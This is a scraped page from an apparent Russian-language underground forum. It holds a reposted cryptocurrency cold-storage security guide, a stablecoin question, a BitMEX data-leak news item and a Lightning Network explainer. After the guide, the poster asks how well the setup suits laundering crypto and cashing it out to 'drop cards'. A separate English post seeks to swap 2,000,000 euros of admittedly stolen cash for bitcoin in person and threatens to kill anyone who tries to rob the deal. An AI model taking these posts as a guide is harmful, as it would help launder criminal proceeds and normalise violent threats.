Если это для тебя понятно — то ты молодец. Большинство людей продолжают думать, что Биткоин, это что-то типо вебмани с хорошей криптографией, а Блокчейн — это название компании, которая владеет сайтом blockchain.info. Но не только такие люди постоянно теряют свою кровно заработанную крипту или если не теряют, живут с высокими шансами в один прекрасный день ее потерять. Почему? Причин много — от низкой компьютерной грамотности и недостатка образования до обычной лени. Если ты думаешь — что ты сможешь выжить в новом цифровом мире без компьютерной грамотности, то у меня для тебя плохие новости.

“Мир криптовалют — это новое поле для злоумышленников. Он идеально подходит для реализации их темных амбиций”.

Click to expand...

Посудите сами:

Для тех, кто понимает, что криптовалюты к нам пришли всерьез и надолго, перспектива роста интереса злоумышленников разных сортов (в том числе из государственных структур) к этой теме не вызывает сомнений. Безопасность хранения и использования крипты — важнейшее направление, в котором еще не решено множество вопросов и проблем.

Как грамотно подойти к хранению крипты?
Ответ простой:

“Никому не передавать свой приватный ключ”

Click to expand...

Это значит, НЕ хранить крипту (большую ее часть) на:

Правильный метод хранения криптовалют называется “Холодное хранение”. Под этим подразумевается хранение приватных ключей на носителях, которые никогда не подключаются к сети:

Формулировка “ никогда не подключаются к сети ” может вызывать недоумение. Ты спросишь — “А как же тогда отправить транзакцию?”

Да конечно чтобы отправить транзакцию (broadcast transaction) нужен выход в сеть. Но фишка в том, что создать транзакцию и подписать ее можно оффлайн. А затем уже подписанную транзакцию смело перенести на машину с интернетом и отправить в сеть, используя любое окно с подключением к блокчейн-ноде хоть тот же блокчейн эксплорер.

Подписанная транзакция содержит инструкции что надо сделать в сети, которые криптографически подписаны вами. Достать оттуда ваш приватный ключ невозможно (обратным инжинирингом например). Может ли хакер как-то использовать подписанную транзакцию против вас?

Нет, все что он может это просто отправить транзакцию в сеть ещё раз. Сеть отвергнет вторую транзакцию, т.к. транзакция с одинаковым хешем может исполнится в сети только один раз.

Вообщем идея в том, что мы можем разделить процессы создания, подписи и отправки транзакции. И в этом разделении таится большая мощь и гибкость, которую стоит использовать.

Что мы собираемся сделать в этом гайде?
Наша задача — организовать систему, чтобы было безопасно и удобно делать следующее:

  1. Торговать на централизованных биржах
  2. Обналичивать крипту в фиат через Localbitcoins.com
  3. Использовать dapps. По большей части для торговли на децентрализованных биржах — EtherDelta, IDEX, Bitshares но и другие, например CryptoKitties
  4. Отправлять небольшие сумм с горячих кошельков
  5. Хранить основную часть криптоактивов на холодных кошельках
  6. Отправлять крипту с холодных кошельков

Для использования dapps нам не обойтись без кошельков. А значит требования к безопасности повышаются. Зашифрованная виртуальная машина Ubuntu с Metamask — будет оптимальным решением для частого использования dapps, торговли на децентрализованных биржах и отправки небольших сумм.

Для хранения основного капитала — мы будем делать мультивалютное холодное хранение. Нам нужно иметь изолированную от интернета переносную операционную систему. Внутри такой ОС мы установим кошельки для всех интересных нам криптовалют чтобы создавать и подписывать транзакции оффлайн и затем переносить подписанные транзакции на горячую машину с помощью второй флешки.

“Постоянно загружаться в разные ОС и копировать транзакции на флешку? Звучит не очень то удобно” — скажешь ты. Если тебя пугает такая возня — я советую присмотреться к покупке аппаратного кошелька.

Аппаратные кошельки работают по такой же схеме, но с некоторыми преимуществами:

Некоторые кошельки (например [Ledger Nano S](https://www.ledgerwallet.com/r/37af?path=/products/ledger- nano-s&tracker=ledger)) поддерживают более 25 криптовалют, имеют открытый исходный код по и железа и стоят всего 80 долларов.

Недостатки аппаратных кошельков:

Поэтому выбор за тобой — пойти простым путём или по-сложнее, но зато более интересным. Этот гайд затрагивает тему использования софта, бирж и dapps достаточно широко. Поэтому будет полезен всем, в том числе владельцам аппаратных кошельков.

Далее пойдет туториал по организации самостоятельного хранения и использования для самых популярных криптовалют.

Никаких специфических навыков от тебя не требуется. Но без минимальной компьютерной грамотности не обойтись + желательно умение пользоваться ментальным или программным англо-русским переводчиком. Еще тебе понадобится:

В результате выполнения туториала у тебя будет:

  1. Безопасный браузер в основной рабочей ОС для работы на биржах и других критически важных сервисах.
  2. Виртуальная машина для операций с небольшими суммами и использования Web3 dapps
  3. Безопасный мультивалютный кошелек на загрузочном USB. Как минимум для: Bitcoin, Ethereum/Ethereum Classic + ERC20 токены, Monero, Bitshares, Litecoin, Stellar, NEO, Ripple, IOTA, DASH, NEM. Список можно расширить
  4. Проверенная схема организации бекапов, аккаунтов, адресов, паролей и 2FA кодов
  5. Система мониторинга холодных кошельков
  6. Система реагирования в случае кражи

Поехали!

1. Безопасная торговля на биржах
Торговлю на биржах и Localbitcoins — удобнее и вполне безопасно вести с основной рабочей операционной системы.

Основные векторы атак тут:

  1. Фишинг
  2. Подмена DNS
  3. Атаки Man in the Middle

Чтобы обезопасить себя от этих атак, надо быть прежде всего внимательным и пользоваться безопасным браузером. Firefox — считается одним из самых безопасных браузеров при правильной конфигурации и наличии нужных расширенний.

Настраиваем Firefox:

  1. Включаем защиту от фишинговых сайтов

2. Устанавливаем HTTPS Everywhere — принудительно включает HTTPS везде, где это возможно. Это защитит вас от MitM атак.

3. Всегда проверяем имя и сертификат сайта. Проверка сертификата убедит нас в том, что DNS не подменен. Можно использовать CipherFox чтобы удобнее проверять сертификат сайта.

Настраиваем доступ на биржи:

  1. Настраиваем двух-факторную аутентификацию (2FA) через Google Authenticator везде, без исключений, в том числе на почте, которую используем для бирж.
  2. При создании 2FA выписываем все сервисные коды в файлик 2fa.txt. Cервисные коды помогут восстановить доступ если вы потеряете устройство на котором стоит Google Authenticator.
  3. Ставим сервисный пароль на вывод средств, если на бирже есть такой функционал. Это поможет защититься от самых хитрых и автоматизированных атак.

Файл 2fa.txt мы потом забекапим вместе с приватными ключами.

О менеджерах паролей

Это очень удобно. Но я бы не рекоммендовал использовать сторонние приложения для этого, потому что они часто оказываются желанной целью для хакеров. Стандартного менеджера паролей в Firefox вполне достаточно. Я бы также не рекомендовал настраивать синхронизацию паролей, выигрыш в удобстве тут сомнительный как по мне, а рисков сразу становится очень много. Пусть все хранится локально

2. Виртуальная машина для dapps
В качестве виртуалки будем использовать Ubuntu. Почему Ubuntu? Потому, что безопасней чем Windows и это самый простой и понятный Linux дистрибутив для начинающих.

Качем VirtualBox (программа для виртаулизации) "Тут должен быть линк на прверенную виртуалку"

Качаем .iso образ с Ubuntu с официального сайта: https://www.ubuntu.com/download/desktop

Устанавливаем VirtualBox и потом в него ставим Ubuntu. Отличная инструкция со скриншотами нашлась вот тут:
http://profitraders.com/Ubuntu/VirtualBoxUbuntuInstall.html

Установка Metamask

Metamask — расширение для браузеров Chrome, Firefox и Brave с открытым исходным кодом, которое представляет собой Ethereum кошелек. Приватные ключи никуда не отправляются.

Через Metamask вы можете взаимодействовать с децентрализованными приложениями (dapps), которые использую web3.js библиотеку. Например вы можете подключится к децентрализованной бирже EtherDelta или IDEX, играться в CryptoKitties, покупать доменные имена в Ethereum ENS.

Большой список dapps можно найти тут .

Устанавливаем Metamask в Firefox и создаем кошелек (видео в помощь), записываем 12 слов на бумажку/блокнот/книжку и копируем в файлик privkeys.txt. Также создадим еще файлик pubkeys.txt куда скопируем ETH адрес. Пока оставим эти файлы на виртуальной машине.

После этого останется закинуть немного ETH на адрес нашего Metamask кошелька и можно пользоваться.

Шифруем виртуалку

После настройки нашей ВМ и установки всего нужного ПО, следует включить шифрование для VDI диска (это диск где хранятся файлы виртуальной машины).

  1. Для этого выключите (Power Off) Ubuntu.
  2. Перейдите в Настройки > Шифрование > Введите пароль > Ок

3. Загрузочный USB для холодных кошельков
Будем использовать Tails в качестве портативной операционной системы. Почему именно Tails? Потому что эта Live USB система, она специально затачивалась на приватность и безопасность. Она построена на Debian — самом надежном дистрибутиве линукс, с минимально нужным софтом. А еще Tails поддерживает сохранение ваших данных в зашифрованной области.

Настройка зашифрованной области хранения (Encrypted Persistent) в Tails

Encrypted Persistent — это зашифрованный раздел на вашем USB, на котором мы собираемся хранить:

В случае утери флешки, даже если нашедший окажется достаточно заинтересованным и подкованным, чтобы попробовать расшифровать ее, шансы на успех атаки перебором будут стремится к нулю если у вас достаточно стойкий пароль.

Стойкий пароль — это рандомный набор из более 20 символов с цифрами, символами и буквами в разных регистрах. Не ленитесь сделать стойкий пароль! Запишите его для начала на бумагу, но потом лучше выучите наизусть.

Создаем Encrypted Persistent на Tails:

  1. Загружаемся в уже установленную Tails на USB> входим в систему
  2. Applications > System Tools > Configure persistent volume
  3. В окошке вводим стойкий пароль, нажимаем Create и ждем
  4. Появится окошко для выбора приложений, данные которых мы хотим сохранять. Выбираем Personal Data и Electrum (Bitcoin Client) > Нажимаем Save
  5. Перезагружаемся. Теперь при входе в окошке “Use Persistence?” выбираем YES и вводим пароль
  6. Все мы в системе с Encrypted Persistent. Теперь переходим к установке кошельков в папку Personal Data.

Если не получилось, вот видео инструкция

Качаем холодные кошельки для Tails
Подходим к самой интересной части — к установке и созданию различных кошельков. Но сначала нам нужно все это добро скачать, закинуть на флешку и перенести на Tails.

Тут у тебя может возникнуть вопрос: “ Как кошельки поместятся на флешке?” . Ведь блокчейн Биткоина весит более 165 Гб на момент написания статьи.

Разумеется мы не можем на флешке 8Гб использовать кошельки, которые скачивают весь блокчейн. Нам нужны только “легкие клиенты”, которые используют SPV механизмы для верификации транзакций.

SPV или Simplified Payment Verification — это механизм проверки конкретной транзакции в блоке, без скачивания всего блока. Иначе говоря, этот механизм позволяет проверять только свои транзакции, без заботы о проверке чужих транзакций. Т.е. при этом не надо скачивать весь блокчейн и становится “полной нодой”.

SPV — это не какая-то новая штука. Этот механизм упоминался в оригинальной бумаге Сатоши Накамото Bitcoin: A Peer-to-Peer Electronic Cash System . SPV работает в кошельке Electrum c самого его появления. В Ethereum есть аналогичный концепт [LES](https://github.com/zsfelfoldi/go-ethereum/wiki/Light-Ethereum- Subprotocol-%28LES%29), как и в многих других системах. И вся штука работает вполне надежно, до тех пор пока большинство нод являются добросовестными. На примере Electrum злоумышленник может захватить большинство Electrum Servers и тогда вы можете начать получать транзакции, которые в действительности невалидны и не присутствуют в основном блокчейне. Вы подумаете, что вам заплатили, а на самом деле нет. Подстраховаться тут можно очень просто — дополнительно проверять подтверждения транзакций через блокчейн-эксплореры.

Нам подойдут только “легкие клиенты” , которые соответствуют следующим требованиям:

Тут самое важное: это НЕ скачать вредоносный софт. Поэтому всегда проверяем url и сертификат на сайте.

Ниже представлены кошельки, которые использую я сам. Качать будем сборки для Debian (дистрибутив на котором построена Tails). Поехали!

Bitcoin

Наш выбор Electrum — один из старых и надежных легких клиентов с открытым исходным кодом. Electrum изначально предустановлен в Tails. Качать ничего не надо:)

Ethereum/Ethereum Classic and ERC20 tokens

Будем использовать локальную версию MyEtherWallet сайта, скачанную с официального репозитория. MEW — это полностью client-side кошелек. Это значит, что весь код для создания, подписи и отправки транзакции находится локально у вас на компьютере в вашем браузере в html и js коде этого веб-приложения.

Используя локальную версию, вы не подключаетесь никуда. А значит вы обезопашены от атак перехвата трафика, фишинга и подмены DNS. Создавать транзакции можно оффлайн.

Качаем из официального репозитория
https://github.com/kvhnuke/etherwallet/releases/download/v3.21.09/etherwallet-v3.21.09.zip

Распаковывем архив и запускаем фалик index.html — это все, что нужно чтобы стартануть MEW локально

Click to expand...

MEW можно использовать для хранения ETH и ETC. И конечно для всех ERC20 токенов, например ZRX, REP, ANT, DNT и т.д.

Monero
MyMonero — одобренный сообществом легкий клиент. Качаем с оффициального репозитория версию для Linux:
https://github.com/mymonero/mymonero-app- js/releases

Litecoin

Electrum-ltc — зарекомендовавший себя форк Electrum для Litecoin. Код откры. Качаем для Linux

https://github.com/pooler/electrum-ltc/releases

Stellar

Foxlet wallet — одобренный Stellar легкий кошелек. Код открыт. Качаем для Linux

https://github.com/stellarchat/desktop-client/releases

NEO

Официальный легкий кошелек от сообщества. Код откры. Качаем для Linux

https://github.com/CityOfZion/neon-wallet/releases

Ripple

Toast Wallet — неофициальный легкий клиент — наш выбор. Код открыт. Качаем для Linux

https://toastwallet.com/

IOTA

Официальный кошелек может работать в режиме “легкого клиента”. Качаем для Linux

https://github.com/iotaledger/wallet/releases

DASH

Electrum-dash — официально одобренный кошелек. Качаем для Linux

https://electrum.dash.org/#download

NEM

Nano Wallet — официальный легкий клиент. Качаем для Linux

https://nem.io/downloads/

Устанавливаем и настраиваем холодные кошельки в Tails
К этому моменту мы скачали все сборки нужных нам кошельков и закинули их на флешку. Теперь вставляем USB с Tails и загружаемся в нее. Не подключаемся к интернету!

Создадим внутри домашней директории папку, назовем ее например Wallets. Вставляем вторую флешку со сборками и перекидываем все файлы в папку Wallets.

Далее по очереди устанавливаем и создаем наши кошельки.

  1. Распаковываем архив/запускаем dpkg установщик
  2. Переходим в папку/следуем всем шагам
  3. Запускаем кошелек
  4. Создаем новую пару приватный-публичный ключ
  5. Копируем каждый приватный ключ в файлик (например privkeys.txt) с пометкой от какой он блокчейн системы. Этот txt мы потом надежно зашифруем и забекапим
  6. Записываем приватный ключ на бумагу/блокнот/книжку
  7. Придумываем надежный пароль, чтобы зашифровать файл приватного ключа внутри кошелька
  8. Копируем адреса и публичные ключи в другой файлик (например pubkeys.txt). Нам нужен публичный ключ и адрес/a (часто это не одно и тоже). Этот txt мы потом перенесем на горячую машину

Процесс везде одинаковый и интуитивно понятный. В Tails вы можете устанавливать сторонние приложения только в свою папку Personal Data. У вас могут возникнуть проблемы с зависимостями, тогда их надо установить отдельно. Тут надо гуглить в каждом отдельном случае.

Отправляем крипту с холодных кошельков

Чтобы было максимально безопасно — к интернету подключаться нельзя. Поэтому схема такая:

  1. Закидываем на флешку в txt файле адреса на которые нужно отправить и суммы (если это важно)
  2. Загружаемся в Tails с включенным Persistence Storage
  3. Запускаем нужный кошелек и создаем транзакцию
  4. Нам надо получить Signed Transaction
  5. Копируем этот набор символов на флешку в файлик типо transactions.txt
  6. Загружаемся в горячую ОС и делаем broadcast транзакции через блокчейн эксплорер например для Битка тут, для Эфира тут

4. Watch-only кошельки
На горячей машине мы собираемся сделать “watch-only” кошельки. Watch-only — это такой кошелек, через который мы можем наблюдать свои балансы, принимать платежи и генерировать новые адреса (через публичный ключ), но не можем ничего отправить, т.к. приватного ключа там нет.

Нам понадобятся наши адреса и публичные ключи от созданных ранее кошельков. Переносим с помощью флешки файлик pubkeys.txt на горячую машину.

В качестве watch-only кошелька можно использовать блокчейн-эксплорер или софт кошелька с импортированным публичным ключом. Разница в том, что через софт с публичным ключом мы можем наблюдать балансы на всех своих адресах и генерировать новые адреса. А через блокчейн-эксплорер мы можем наблюдать только конкретные адреса.

Создадим watch-only для Биткоина в Electrum:

1. Качаем Electrum на горячую машину

2. Запускаем, выбираем создать кошелек

3. Выбираем “standart wallet”

4. Далее выбираем “use a master key”

5. Вставляем ПУБЛИЧНЫЙ ключ от биткоин кошелька, который мы сохранили в pubkeys.txt. Публичный — этот который начинается с xpub

Нажимаем Next и наш watch-only кошелек создан. В нем вы можете смотреть балансы, генерировать адреса и принимать платежи, но не можете ничего отправить.

Тоже самое делаем для остальных интересных нам криптовалют. Везде принцип одинаковый, но для некоторых достаточно блокчейн-эксплорера:

Ethereum/Ethereum Classic:

https://etherscan.io/address/0x0000000000000000000000000000

Где вместо 0x00… вставьте ваш адрес. Я лично сделал закладки для всех своих адресов в отдельной папке.

Bitshares:

https://cryptofresh.com/u/yourname

Stellar:
https://stellarchain.io/address/youraddress

NEO:

https://neotracker.io/address/youradress

Ripple:

https://bithomp.com/explorer/

IOTA:

https://iotasear.ch/address/youraddress

NEM:

http://explorer.nemchina.com/#/s_account?account=youraddress

Для DASH, LTC все делаем по аналогии в Electrum.

Для Monero инструкция тут <https://getmonero.org/resources/user- guides/view_only.html>

5. Мониторинг холодных кошельков
Когда мы можем поглядывать за нашими балансами через watch-only кошельки — было бы здорово автоматизировать это дело и мгновенно получать уведомления о всех входящих и исходящих транзакциях на холодных кошельках.

Для этих целей можно написать свой мониторинг в гугл табличке [например](https://forum.bits.media/index.php?/topic/60682-google- spreadsheet-%D0%B4%D0%BB%D1%8F-%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8-%D0%B8-%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D1%81%D0%B2%D0%BE%D0%B8%D0%BC-%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE-%D1%84%D0%BE%D0%BD%D0%B4%D0%BE%D0%BC/). Или использовать какие-то специальные сервисы/ботов.

Например MyETH_bot для отслеживания балансов ETH и всех ERC20 токенов. Бот проверяет ваш кошелек каждые 30 секунд и реагирует очень быстро. Правда есть ограничение в один ETH адрес на пользователя.

Для Биткоина и других валют я не нашел никаких сервисов и сделал мониторинг в гугл таблице с помощью Google Apps Script.

6. Что делать в случае кражи?
Чтобы обчистить весь твой ETH кошелек со всеми ERC20 — надо под каждый токен делать новую транзакцию. Во-первых это занимает время, во-вторых в Эфириуме возможно перебивать ([Replace By Fee](https://ethereum.stackexchange.com/questions/6303/does-ethereum-have-a- replace-by-fee-option-similar-to-bitcoin)) свои же транзакции. И это дает нам шанс опередить злодея и спасти часть средств. И если нужно — вывести все другие криптовалюты на резервные кошельки (или на биржу если таковых нет)

Очень важно быть подготовленным к такому. Тут все упирается в удобство и скорость реакции. В случае с Tails — это конечно будет не так быстро по сравнению с аппаратным кошельком, но когда крипты много и она разная — 10–30 минут вполне должно хватить чтобы успеть опередить хакера.

В идеале такой процесс надо полностью автоматизировать. Например с помощью своего защищенного VPS сервера, на котором работают все кошельки и скрипт, который по нашему сигналу тревоги стартует операцию по автоматизированному выводу средств на резервные кошельки.

Кстати через MyETH_bot можно отсылать кастомные callback запросы в случае тревоги. По сути уже сейчас можно использовать его для настройки такой системы реагирования. Но это тема для отдельного гайда.

7. Организуем бекапы
Как только все кошельки созданы, нужно надежно забекапить все наши приватные ключи,пароли и сервисные коды от Google Authenticator. Это действие достаточно сделать один раз, но оно критически важное.

Ваши бекапы могут выглядеть вот так:

  1. Выписанные ключи и пароли в бумагу/блокнот/книжку
  2. Зашифрованные файлы приватных ключей внутри Tails USB
  3. Файл privkeys.txt и 2fa.txt в зашифрованном zip архиве на флешке. Храним отдельно от флешки с Tails (например у родителей или в банковской ячейке)
  4. Файл privkeys.txt и 2fa.txt в зашифрованном архиве в надежном облаке (например Google Drive). Как дополнительный вариант.

Cоздаем зашифрованный архив

  1. Поместим все файлы, которые мы хотим защитить паролем и забекапить в отдельную папку. Например folderx
  2. Правой кнопкой мыши нажмем на папку folderx и выберем Compress…
  3. Раскроем меню “Other options” и введем стойкий пароль в Ubuntu

3.1 В Tails делаем это командой в терминале:
zip --encrypt folderx.zip -r folderx

где folderx — это папка со всеми файликами

4. Нажем Create и наш архив будет создан. После этого останется только перекинуть его на флешку и в облако

Вот такую статью скопипастил с просторов ВВХ. Хотел бы узнать у спецов мнение про излишнюю параною и хранение крипты на оффлайн кошельках. С точки зрения отсутсвия возможности украсть - целесообразно. А вот насколько целесообразно так делать, если хочется отмыть крипту и вывести ее, скажем, на дроп карты?

Кошелек с фиксацией курса (USTD и т.д.)
ID: 67686ad7b4103b69df379a91
Thread ID: 33502
Created: 2019-11-27T12:42:20+0000
Last Post: 2019-11-28T17:38:39+0000
Author: pablo
Replies: 4 Views: 3K

Тема частично обсуждалась тут и тут, но как-то обсуждение там теряется

Задача: зафиксировать курс битка, все равно как. USTD или какими-то другими решениями. стейблкоинами или кошелями, чем угодно. Что посоветуете? Без хранения на биржах. Без вывода в нал. Без использования онлайн кошелей или кошелей, где возможны локи и верификации
насколько можно, безопасно, тк сумма большая

I have 2,000,000 euros and I need BTC
ID: 67686ad7b4103b69df379a92
Thread ID: 32712
Created: 2019-10-24T23:02:02+0000
Last Post: 2019-11-26T09:21:57+0000
Author: evgboga
Replies: 9 Views: 3K

I have 2,000,000 euros in cash in Italy and I need someone to sell me BTC but in person. Exchange them for BTC on the spot because I can't account for a judicial / financial issue in this country and because it's money stolen. I want to buy BTC. I am in Italy and do it in person. I recommend that if we get to face it and want to steal it, we can kill them. Only serious people with BTC.

Биржа BitMEX взломана
ID: 67686ad7b4103b69df379a97
Thread ID: 32897
Created: 2019-11-01T13:35:33+0000
Last Post: 2019-11-04T19:00:15+0000
Author: tabac
Replies: 9 Views: 3K

На крупнейшей бирже биткоин-деривативов BitMEX произошла утечка пользовательских данных. Некоторые пользователи получили письма, содержащие электронные адреса других клиентов платформы.

Представители биржи заверили, что предприняли «немедленные действия» для устранения проблемы. Масштаб утечки пока не сообщается.

Некоторые пользователи Twitter опубликовали скриншоты полученных писем:

__https://twitter.com/x/status/1190167326898806784

Можно предположить, что сотрудники BitMEX забыли поставить адресатов e-mail рассылки в «скрытую копию» письма, из-за чего приватность пользователей и была скомпрометирована.

Отреагировали на утечку и другие игроки рынка. Так, биткоин-биржа Binance призвала своих пользователей сменить адреса электронной почты, если они используются для аккаунтов на нескольких биржах. При этом Binance напрямую не указала, связано ли это с проблемами BitMEX.

Апдейт: После утечки e-mail адресов пользователей биржи, официальная страница BitMEX в Twitter была взломана и от ее имени были опубликованы два твита:

«Забирайте свои биткоины и бегите».
«Взломали».

Click to expand...


На данный момент обе записи удалены.

Все о сети Lightning Network (+поднимаем свою ноду)
ID: 67686ad7b4103b69df379aa7
Thread ID: 30425
Created: 2019-07-15T12:26:13+0000
Last Post: 2019-07-15T13:43:07+0000
Author: tabac
Prefix: Статья
Replies: 1 Views: 3K

Что такое Lightning Network?

Существует проблема масштабируемости биткоина. Она связана с ростом популярности Биткойна, число транзакций увеличилось, но из-за ограничения максимального размера блоков не все транзакции «помещались» сразу, периодически возникала очередь. И с ростом популярности это очередь становится всё больше. Предполагается, что Lightning Network решит эту проблему. Технология основана на обычных биткойн-транзакциях, но суть в том, что LN не записывает все транзакции, а только открывающую и закрывающую транзакцию, в которых можно проследить результат всех проделанных вне блокчейна транзакций. Эти внеблокченовые транзакции сохраняются на локальных узлах пользователей, но могут быть отправлены в сеть в любой момент, а это значит, что пользователи должны находиться в онлайне, пока не отправиться финальная транзакция в биткоин-сеть. Таким образом, Lightning Network существенно разгрузит очередь транзакций. При этом экономия работы сети снизит цену за транзакцию на столько, что возможно поощрение пользователей сети LN, то есть существует вероятность, что вы получите небольшую награду за использование сети. Также создатели Lightning Network поработали над безопасностью своей сети. Не буду углубляться в [технические элементы](https://bitnovosti.com/2016/06/22/understanding-the-lightning- network/), но скажу лишь, что недавно на сеть LN была совершена DDOS-атака и уязвимостей сети не выявлено. На момент написания поста Lightning Network уже запущен в мейннет биткоина, и, как показывает трекер, там функционировали уже 1343 Lightning-нод и были открыты 3910 канала. В свою очередь разработчики убеждены, что полномасштабная активация протокола может стать одним из важнейших событий за всю историю существования «цифрового золота».

Как работает Lightning Network

Вход в сеть Lightning осуществляется через открытие платежного канала. Для этого требуется транзакция в блокчейне (тот, в который всегда записываются транзакции). Канал оплаты позволяет отправлять биткоины между двумя сторонами (это не новая разработка). LN можно сравнить с криптовалютной биржей - на биржу вы заводите какое то количество денег и можете переводить на другой аккаунт внутри системы без комиссий. Плата комиссии происходить только за внесение денег на биржу. Аналогично, для Lightning — чтобы открыть или закрыть платежный канал, нужно выполнить транзакцию биткоинов.

Хэш-контракты временной блокировки (HTLC) — это смарт-контракты, которые гарантируют, что получателю переведут средства при выполнении некоторых криптографических условий. Это делается для безопасности.

Сеть Lightning использует серию HTLC с одним и тем же секретным хэшем. Этот процесс можно повторять столько раз, сколько необходимо.

Преимущества Lighting Network:

Возможны крошечные платежи: поскольку сборы пропорциональны сумме платежа, можно заплатить часть процента; учет ведется в тысячных долях сатоши.

Платежи производятся мгновенно: деньги отправляются мгновенно. Обычно занимает доли секунды на отправку по сети информации до отправителя.

Повышенная конфиденциальность: не каждая транзакция хранится в публичном блокчейне. В блок записывается только 1 транзакция, когда платежная цепочка в конечном счете закрывается, а остаток выплачивается обеим сторонам.

Возможность заработка на поддержке узла (посредничество при транзакции).

Повышенная безопасность средств - средства, заблокированные в канале невозможно украсть. Самое худшее, что может сделать злоумышленник — это закрыть канал для получения доступа к той части средств канала, которые принадлежат бирже. По видимости, это произойдёт без согласия пользователя. Тем не менее, хакеру придётся дождаться снятия блокировки по времени, встроенной в канал (как правило, несколько дней). В течение этого времени биржа может восстановить контроль или пользователи могут закрыть свои каналы.

Существует система защиты от оплаты двойной комиссии. Если была осуществлена отправка средств от одного кошелька на другой кошелек дважды, то система определит этот как 1 перевод.

Конфиденциальность. Так как в блокчейн записывается только начальные данные и финальный результат, а операции между пользователями - нет.

Снижение нагрузки сети блокчейна биткоина. Как я говорил ранее не все транзакции записываются.

Открытость финальной транзакций. Мы всё таки можем посмотреть изменения балансов пользователей, ориентируясь по транзакции отправленной в блокчейн.

Неосведомлённость посредника. Посредник не знает занимает ли он первую, последнюю или промежуточную позицию.

Безопасность. Наличие хэш-контрактов временной блокировки гарантируют, что получателю переведут средства при выполнении некоторых криптографических условий.

LN легко в использовании. Чтобы использовать Lightning Network, нужно загрузите кошелек Lightning. Через какое-то время все больше и больше кошельков будут интегрировать Lightning

Почти бесплатные биткоин транзакции. Такая транзакция всегда будет значительно дешевле, чем обычная биткоин-транзакция. Некоторые Lightning-транзакции имеют даже отрицательные сборы, то есть платят не майнерам, а пользователям сети!

Недостатки Lighting Network:

Платежи проиходят только между пользователями, находящиеся в сети. Нет возможности отправить средства на кошелек в оффлайне.

Сеть не способна осуществлять финансовые операции крупной суммы. Это связанно с ограниченной пропускной способностью маршрута. Открытие канала связано с внесением (заморозкой) суммы средств. Пока канал открыт - средствами воспользоваться не удасться.

Часто в сети происходят посреднические сбои, что приводит к поиску нового пира, на поиски которого может уйти несколько часов.

Сеть Lightning Network обладает прямой зависимостью от Bitcoin. В случае краха последней первая также потерпит неудачу.

LN не решит проблему масштабируемости окончательно, если исходить из того, что биткоин станет платежным средством в рамках всей планеты. Потому что пропускная способность сети останется ограниченной, и даже если каждому пользователю потребуется лишь одна открывающая и одна закрывающая канал транзакция в месяц, сеть сможет обслуживать не более 5 миллионов человек, т.е. меньше тысячной доли растущего населения Земли.

Сбои со стороны партнеров. В случае если один из партнёров не отвечает на запрос, поступающий от пользователя, то время ожидания может занять несколько часов. Только после отзыва пользователь сможет завершить операцию и получить контроль над собственными финансовыми средствами.

Отсутствует возможность выполнения платежей в режиме оффлайн. Платеж, выполняемый пользователем сети Lightning Network, является соглашением в виртуальной валюте Bitcoin в неизвестном объеме. Данное соглашение не требует обязательных доверительных отношений между его участниками – только при условии его выполнения в режиме онлайн.

FAQ:

Является Lightning Network открытой технологией?
Да, исходный код LN доступен для всех

Что такое Lightning Network?
LN - находящаяся в настоящее время в разработке система, которая позволит производить транзакции биткоинов "вне блокчейна", без необходимости в третьей стороне.

Нуждается ли Lightning Network в каком-либо согласовании с битокин-сетью для того, чтоб быть внедренной?
Нет, внедрение LN не требует каких либо согласований с биткоин сетью.
LN не является ни softfork ни hardfork изменением.
Вместо этого, LN "надстраивает" дополнительный уровень над биткоин блокчейном.

**Я слышал, что транзакции в Lightning Network происходят "вне блокчейна"... Значит ли это, что мой биткоин будет удален из блокчейна? **
Нет, ваш биткоин никогда, никогда (злобный смех) не покинет блокчейн.
Вместо этого ваш биткоин будет удерживаться на мультиподписном адресе все то время, пока канал открыт. Как только канал закрывается, крайняя транзакция записывается в блокчейн.

Я слышал, что Lightning Network потребует блокировки моего биткоина... это так?
Блокировка - неправильный термин в данном случае.
LN не сделает ваши деньги менее доступными, даже, по сути, наоборот, сделает их более доступными.
В первую очередь, у вас нет необходимости ждать подтверждений в LN, ваши деньги могут двигаться внутри сети практически постоянно,без задержек.
Во вторых, возврат ваших денег "обратно в блокченй" так же просто, как и отправка простой биткоин-транзакции. Вы просто дожидаетесь подтверждения и ваши деньги больше не "вне блокчейна"
Единственным исключением является случай, когда ваш канал крашится во время транзакции (вторая сторона транзакции внезапно отключается)
Только в этом случае у вас возникнет небольшая задержка перед тем, как вы сможете тратить ваши деньги. Длительность этой задержки будет зависеть от параметров, которые вы задали при установке канала (от нескольких часов до максимума в несколько дней)

Будет ли Lightning Network свой собственный блокчейн?
Нет, LN надстроена над биткоин-блокчейном. Блокчейн-транзакции необходимы для открытия и закрытия каналов между участниками сети.
Как только канал открыт, биткоин может передаваться "вне блокчейна" в обоих направлениях.
Транзакции внутри канала являются реальными биткоин-транзакциями, с тем исключением, что они не транслируются в основной биткоин-блокчейн в то время, пока канал открыт.
Вместо этого, все данные о транзакциях будут храниться локально у участников канала до тех пор,пока канал не будет закрыт.

Основной блокчейн битокоина защищен хэшрейтом более 4 ExaHash в секунду, а у Lightning Network не планируется никакого хэшрейта вообще... Как LN может быть защищена в той же степени, что основной блокчейн?
Безопасность LN базируется на "низлежащей" структуре безопасности битокин- блокчейна, LN не является отдельным блокчейном, LN является лишь "надостройкой".
Если в рамках канала возникает непредвиденная ситуацию (вторая сторона уходит в оффлайн), у вас всегда есть возможность выйти обратно в блокчейн (технически вы просто записываете последнее состояние канала обратно в основной биткоин- блокчейн)

Вы говорите, что Lightning Network использует реальные битокин транзакции... Но как они могут быть реальными, если они не пишутся в блокчейн?
Для ответа на этот вопрос, необходимо сначала понять, чем по сути является биткоин-транзакция. Факт заключается в том, что в действительности в биткоине нет как таковых "монет", есть только подписанные сообщения и апдейты (добавления) в блокчейн.
Для примера - Петя высылает Наташе 1 биткоин (за кокосовую стружку, да..))
Это называется p2p транзакцией, т.к. факт владения переходит напрямую от Пети Наташе.
Но Наташа, по факту, не получает "интерактивной монеты" от Пети. То, что происходит по факту - все узлы сети обновят свою локальную копию публичной базы.
Публичная база так же обновляется. "Монета", которая была зарегистрирована как Петина, теперь зарегистрирована как Наташина (не напрямую, конечно, а через адреса кошельков)

Вывод - перевод битокина не что иное, как подписанное сообщение.
